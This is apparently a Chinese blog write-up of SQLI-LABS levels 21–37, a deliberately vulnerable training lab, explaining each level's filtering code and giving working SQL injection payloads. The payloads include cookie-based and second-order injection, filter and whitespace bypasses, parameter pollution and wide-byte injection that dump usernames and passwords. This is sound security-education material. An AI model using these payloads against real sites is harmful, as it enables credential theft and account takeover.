SQLI-LABS (Adv Injections) 21-37关
Less-21
- 查看源码
1 |
|
通过源码看出,后端会把传入的cookie中的uname
参数进行base64解密,然后再进行查询,所以我们传入的cookie中的uname
要尽心base64加密才行。同时注意到,这里的闭合方式为('$uname')
查询语句:
1 | uname=sqlsec') union select 1,2,(SELECT GROUP_CONCAT(username,':',password) FROM users)# |
我们可以利用hackbar进行base64加密:
1 | uname=c3Fsc2VjJykgdW5pb24gc2VsZWN0IDEsMiwoU0VMRUNUIEdST1VQX0NPTkNBVCh1c2VybmFtZSwnOicscGFzc3dvcmQpIEZST00gdXNlcnMpIw== |
Less-22
- 查看源码
1 | $cookee = base64_decode($cookee); |
可以看出仅仅实在Less-21的基础上把闭合方式改为了"$cookee1"
,注入方式参考Less-21
Less-23
- 查看源码
1 | $id=$_GET['id']; |
可以看出这里使用正则匹配过滤了#
和--
,导致了我们无法把查询语句中参数$id
后面的限制仅输出1个内容给屏蔽掉。这里我们可以构造语句:
1 | http://192.168.91.134/sqli-labs/Less-23/?id=-1' union select 1,(select group_concat(username,':',password) from users),'3 |
解释:
首先是id的第一个参数为-1,因为 sql 语句执行了两个 select 语句,第一个 select 为 id 的选择语 句,第二个为我们构造的 select 语句。只有一个数据可以输出,为了让我们自己构造的数据 可以正常输出,第一个 select 要没有结果,所以-1 或者超过数据库所有数据都可以。
最后3前面的
'
目的是闭合查询语句最后的'
,使其不会错误此处也可以进行报错注入,盲注
1 | http://192.168.91.134/sqli-labs/Less-23/?id=-1' union select 1,(select extractvalue(1,concat(0x7e,(select database()),0x7e))),'3 |
Less-24
查看代码
- Index.php
主要记录了表单相关的信息,没有啥敏感代码,当做 Index.html 来看待就可以了。
输入用户名和密码之后会把数据传输到 login.php 进行验证。点击忘记密码会跳转到forgot_password.php,点击创建新用户会跳转到new_user.php。
- failed.php
检测会话,如果 cookie 里面没有 Auth 参数的话,就跳转到 index.php
- forgot_password.php
简单提示:如果你忘记密码 请 hack it
- login.php
1
2
3
4
5
6
7
8$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if 登陆成功:
#设置session和cookie
$_SESSION["username"] = $login;
setcookie("Auth", 1, time()+3600);$username
和$password
两个参数都被过滤掉,无法从这里进行注入。- new_user.php
创建新用户的表单页面,本文件主要存放前段代码。
- login_create.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15# 接受用户提交的用户名和密码值 并进行 mysql 安全函数转义
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
# 查询当前用户信息
$sql = "select count(*) from users where username='$username'";
#如果当前用户已经存在 无法注册
if 两次输入密码一致:
# 将记录插入数据库中
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
查询完成后 重定向到首页
else:
提示两次输入密码不一致- pass_change.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14if 检测未登录:
重定向到首页
if 检测到提交表单:
# 对 pass 都进行了过滤
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if 两次密码一致:
# 直接将 username 拼接到 SQL 语句
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
else:
提示密码不一致 并重定向到 fail.php思路分析
这里需要利用到二次注入。看更新密码的地方:
1 | UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' |
这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为:admin'#
,那么此时的完整语句就为:
1 | UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass' |
相当于#
后面的都被屏蔽掉了,直接修改了 admin 的用户密码。
演示步骤
注册一个名字为
admin'#
的用户注册好之后登陆该账户,对密码进行修改
可以看到此时admin用户的密码被修改为了000
Less-25
- 查看代码
1 | function blacklist($id) |
可以看出后端把传进去的参数进行了过滤,把or
和and
不区分大小写替换为了空字符。
- or 和 and 过滤的绕过
- 大小写变形 Or,OR,oR
- 编码,hex,urlencode
- 添加注释/*or*/
- 利用符号 and=&& or=||
- 双写 oorr,anandd
由于password中含有or,所以要在里面双写
1 | http://192.168.91.134/sqli-labs/Less-25/?id=-1' union select 1,(select group_concat(username,':',passwoorrd) from users),3--+ |
使用报错或者盲注时推荐使用符号
1 | ?id=1'||extractvalue(1,concat(0x7e,database()))--+ |
值得一提的是,如果使用&&来代替and,需要对&&进行url编码,否则&后面的内容会被当成第二个参数传递。
Less-25a
这一关就是Less-25的小改,参数类型改为了数字型,并且屏蔽了错误信息显示。因此这里只能使用联合注入和盲注。
Less-26
- 查看源码
1 | function blacklist($id) |
这里过滤规则变多了,把 or,and,/*,#,–,/和空格给过滤掉
绕过方法
- 之前已经提过and,or和注释符被过滤时候的绕过方法,这里不再赘述
- 空格被过滤可以使用如下的符号来代替
符号 | 说明 |
---|---|
%09 | TAB 键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键(垂直) |
%a0 | 空格 |
1 | http://ea678630a8ac651042f1a6ce703956a2.n2.vsgo.cloud:14562/sqlilabs/Less-26/ |
该方法无法再window上实现,因为有些符号不能被解析,这里借助了在线容器进行测试
Less-26a
与 Less-26 相比,只是拼接方式改为了('$id')
,因为没有输出报错信息,所以不能使用报错注入了。
1 | http://ea678630a8ac651042f1a6ce703956a2.n2.vsgo.cloud:14562/sqlilabs/Less-26a/ |
Less-27
- 查看源码
1 | $id= preg_replace('/[\/\*]/',"", $id); //strip out /* |
这里解释一下正则匹配修饰符的含义:
模式修正符号 | 功能描述 |
---|---|
i | 在和正则匹配是不区分大小写 |
m | 将字符串视为多行。(具体作用就是防止双写绕过) |
s | 如果设定了这个修正符,那么,被匹配的字符串将视为一行来看,包括换行符,换行符将被视为普通字符串。 |
通过源码我们知道了后端对那些字符进行了过滤,虽然这里对union
和select
做了部分过滤,但是任然存在可以绕过的漏洞。
1 | http://192.168.91.134/sqli-labs/Less-27/ |
Less-27a
这关在Less-27的基础上,把闭合方式改为"$id"
,同时屏蔽了错误信息显示,因此无法进行报错注入。
1 | http://192.168.91.134/sqli-labs/Less-27a/ |
Less-28
- 查看源码
1 | $id= preg_replace('/[\/\*]/',"", $id); //strip out /* |
闭合方式为('$id')
,,并且取消了select不能双写的限制,增加了对union select
连在一起的时候且不区分大小写的过滤,且屏蔽了错误信息显示。
1 | http://192.168.91.134/sqli-labs/Less-28/ |
Less-28a
本关在less-28的基础上竟然还少了前面的几个限制,只留下了最后一个对union select
的过滤
1 | http://192.168.91.134/sqli-labs/Less-28a/ |
Less-29
查看源码
- index.php
并没有什么特别的,平平无奇,使用联合注入即可。
1
2http://192.168.91.134/sqli-labs/Less-29/
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users) --+- login.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37$qs = $_SERVER['QUERY_STRING'];
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}这里面有2个函数,java_implimentation的作用是将传入的参数以
&
分隔,如果该参数的前两个字符为id
,则取它的第三个字符开始的30个字符作为$id_value
,并返回$id_value
,同时跳出循环。whitelist的作用是检查传入的字符串是否是数字,是的话就直接返回该字符串,否则就跳转到hacked.php。利用方式
由于java_implimentation函数只要检测到一个id
参数就退出检测,那么当我们传入2个名为id
的参数时,后面的那一个就能绕过检测,从而可以利用其来进行注入。那么问题是,我们后端使用$id=$_GET['id'];
获取到的id
参数究竟是第一个还是第二个呢。假设用户输入这样的语句:
1 | index.php?id=1&id=2 |
Apache PHP 会解析最后一个参数
Tomcat JSP 会解析第一个参数
可以看出,我们可以构造第二个id
参数来绕过检测。
1 | http://192.168.91.134/sqli-labs/Less-29/login.php?id=1&id=-2' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+ |
Less-30
和Less-29相比,index.php页面的错误信息显示被屏蔽了,闭合方式改为"$id"
,其他照旧。
1 | http://192.168.91.134/sqli-labs/Less-30/login.php?id=1&id=-2" union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+ |
Less-31
和Less-29相比,闭合方式改为("$id")
,其他不变。
1 | http://192.168.91.134/sqli-labs/Less-31/login.php?id=1&id=-2") union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+ |
Less-32
- 查看源码
1 | # \ 转换为 \\ |
- 利用方法
这里使用宽字节注入,在被过滤的符号前面加入%df
1 | http://192.168.91.134/sqli-labs/Less-32/?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+ |
Less-33
- 查看源码
1 | $string= addslashes($string); |
此处过滤使用函数 addslashes() 返回在预定义字符之前添加反斜杠的字符串。
预定义字符是: 单引号(’) 双引号(”) 反斜杠(\)
这里依然可以使用宽字节注入绕过
1 | http://192.168.91.134/sqli-labs/Less-33/?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+ |
Less-34
- 查看源码
1 | $uname = addslashes($uname1); |
和Less-33的过滤方法一样,只不过换成了POST方式提交数据,而POST方式无法直接使用%df
来进行注入,需要用Burp Suite进行抓包改包。
在图中的%27前面加上%df
即可。
- 这里还有另一种思路
将 utf-8 转换为 utf-16 或 utf-32,例如将 ‘ 转为 utf-16 为 � ‘ 。我们就 可以利用这个方式进行尝试。
可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:
1 | ➜ ~ echo \'|iconv -f utf-8 -t utf-16 |
尝试一个经典的万能密码:
1 | uname=�' or 1#&passwd= |
Less-35
这一关的参数的数据类型为数字型,也就是说无需'
来闭合参数,但是这里的过滤措施和Less-33完全一致,相当与无用功。。直接进行联合注入即可。
1 | http://192.168.91.134/sqli-labs/Less-35/?id=-1 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+ |
Less-36
- 查看源码
1 | $string= mysql_real_escape_string($string) |
这里使用了**mysql_real_escape_string()**函数进行转义,如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。下列字符受影响:
(\x00) (\n) (\r) (‘) (“) (\x1a)
这里仍然可以使用宽字节注入:
1 | http://192.168.91.134/sqli-labs/Less-36/?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+ |
Less-37
本关与 34 关是大致相似的,区别在于处理 post 内容用的是 mysql_real_escape_string() 函数,而不是 **addslashes()**函数,但是原理是一样的。都是通过截包改包的方法进行注入。或者使用将 utf-8 转换为 utf-16 或 utf-32的方法直接在hackbar进行POST请求。
参考资料
- Post title:SQLI-LABS (Adv Injections) 21-37关
- Post author:John_Frod
- Create time:2021-03-07 18:59:13
- Post link:https://keep.xpoet.cn/2021/03/07/SQLI-LABS (Adv Injections) 21-37关/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.